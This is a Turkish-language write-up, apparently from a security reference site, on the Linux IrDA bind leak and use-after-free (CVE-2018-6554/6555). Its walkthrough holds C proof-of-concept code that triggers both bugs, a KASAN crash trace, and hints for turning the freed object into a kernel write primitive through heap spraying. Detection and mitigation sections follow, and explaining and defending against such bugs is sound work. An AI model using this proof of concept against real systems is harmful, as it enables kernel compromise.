Skip to content

IRDA use-after-free (CVE-2018-6554)

irda_setsockopt(IRLMP_IAS_SET) üzerinden IrDA IAS hashbin'ine yeniden eklenen bir ias_object dangling bir queue entry'sine dönüşür; bu da bir bind() reference leak'iyle (CVE-2018-6554) eşleşen bir use-after-free (CVE-2018-6555) verir.

Mechanism

Neden çalışır

IrDA bir Information Access Service (IAS) veritabanı sunar — her biri irda_queue_t q link'leri (q_next / q_prev) taşıyan struct ias_object entry'lerinden oluşan bir hashbin_t. Bir AF_IRDA socket'i self->ias_obj üzerinden en fazla bir tane böyle object'e sahiptir.

İki invariant kırılır:

  • irda_bind() leak'i (CVE-2018-6554): socket'i bind etmek taze bir ias_object allocate eder ve öncekini free/dequeue etmeden self->ias_obj'i overwrite eder. Bu yüzden yeniden bind etmek, ilk object hâlâ global irias_objects hashbin'inde linkli kalırken onun reference'ını leak eder — sınırsız bellek tüketimi ve socket'in artık izlemediği bir reference.

  • irda_setsockopt(IRLMP_IAS_SET) UAF'ı (CVE-2018-6555): option handler, object'in zaten queue'da olup olmadığını kontrol etmeden irias_insert_object() üzerinden irias_objects'e bir object ekler. Aynı object'i yeniden eklemek hashbin'i bozar ve socket kapatılıp object free edildikten sonra, free edilmiş bir ias_object'i hâlâ queue'da linkli bırakır. Sonraki hashbin traversal/insertion, eski q_next / q_prev pointer'ları üzerinden dereference eder ve yazar — SLAB-kontrol edilebilir bir object üzerinde klasik bir UAF.

ias_object sabit boyutlu bir kmalloc allocation'ı olduğundan, attacker free edilmiş slot'u kontrollü data ile spray'leyebilir ve kernel bir queue insertion yaptığında dangling q_next/q_prev'i bir write primitive'ine çevirir (unlink/enqueue path'inde mov QWORD PTR [rdx], rbx-tarzı store).

Walkthrough

IrDA stack'i CONFIG_IRDA ile gate'lenir (mainline net/irda/, sonra drivers/staging/irda/net/af_irda.c'ye taşındı). v4.17'de kaldırıldı ama birçok distro/LTS kernel'ında (4.4 / 4.9 / 4.14) kaldı.

Leak'i tetikle (CVE-2018-6554) — aynı socket'i defalarca bind et:

#include <sys/socket.h>
#include <linux/irda.h>          /* AF_IRDA, struct sockaddr_irda */

int s = socket(AF_IRDA, SOCK_STREAM, 0);

struct sockaddr_irda addr = {0};
addr.sir_family = AF_IRDA;
strncpy(addr.sir_name, "LEAK", sizeof(addr.sir_name));

for (int i = 0; i < 100000; i++)
    bind(s, (struct sockaddr *)&addr, sizeof(addr));
/* each bind() allocates a new ias_object, orphaning the previous one
   inside the global irias_objects hashbin -> kernel memory grows */

UAF'ı tetikle (CVE-2018-6555) — bind edilmiş object'i IAS_SET option'u üzerinden yeniden ekle, sonra onu free et:

#include <linux/irda.h>

struct irda_ias_set ias = {0};
ias.irda_class_name[0] = '\0';      /* empty class -> reuse self->ias_obj  */
ias.irda_attrib_name[0] = 'A';
ias.irda_attrib_type   = IAS_INTEGER;
ias.attribute.irda_attrib_int = 0x41414141;

/* re-insert the same ias_object into irias_objects (no "already queued" check) */
setsockopt(s, SOL_IRLMP, IRLMP_IAS_SET, &ias, sizeof(ias));

close(s);   /* frees ias_object while it is still linked -> dangling queue node */
Beklenen crash imzası (KASAN, spray öncesi)

BUG: KASAN: use-after-free in hashbin_insert+0x.../0x...
Write of size 8 at addr ffff8880........ by task poc/....
 hashbin_insert
 irias_insert_object
 irda_setsockopt
 __sys_setsockopt
Freed by task poc:
 kfree
 __irias_delete_object
 irda_destroy_socket
 irda_release
Free edilmiş ias_object'e eski bir q_next/q_prev üzerinden ulaşılır; dangling hashbin node'unu doğrular.

Silah haline getirmek için, free edilmiş slot aynı kmalloc boyutunda kontrollü bir object ile (örneğin msg_msg, setxattr veya başka bir spray) reclaim edilir ki bir sonraki hashbin enqueue attacker'ın seçtiği pointer'ları yazsın — benzer bir spray/reclaim UAF için n_gsm TTY UAF'a da bak.

Warning

Bu yetkilendirilmiş-araştırma / CTF tekniğidir. RIP kontrolüne giden güvenilir yol heap state'ine bağlıdır; naif PoC'ler genellikle yalnızca crash eder. Write primitive'ini anlık sonuç değil, hedef olarak ele al.

Detection

  • IrDA modası geçmiştir; production sistemlerde attack surface var olmamalı. AF_IRDA (family 23) socket'leri açan herhangi bir process üzerine alarm ver — meşru bir modern kullanıcı yok.
  • Module-load denetimi: bir non-IrDA host'ta irda/af_irda'nın yüklenmesi (request_module("net-pf-23") üzerinden autoload) şüphelidir.
  • Fuzzing/test fleet'lerinde KASAN/SLUB_DEBUG/slub_debug=FZP, UAF'ı ve büyüyen ias_object leak'ini yakalar.

Mitigation

  • Attack surface'i kaldır: irda modülünü blacklist'e al ve/veya CONFIG_IRDA=n set et. Upstream IrDA'yı v4.17'de tamamen sildi.
  • Eksik "zaten queue'da" validation'ını ekleyen ve bind leak'ini fix eden stable backport'ları uygula (Ubuntu/Debian/Mageia 4.4/4.9/4.14 ağaçları için fix yayınladı).
  • Belirsiz adres ailelerini seccomp / setsockcreatecon ile kısıtla ki güvenilmeyen process'ler socket(AF_IRDA, ...)'ya ulaşamasın.

References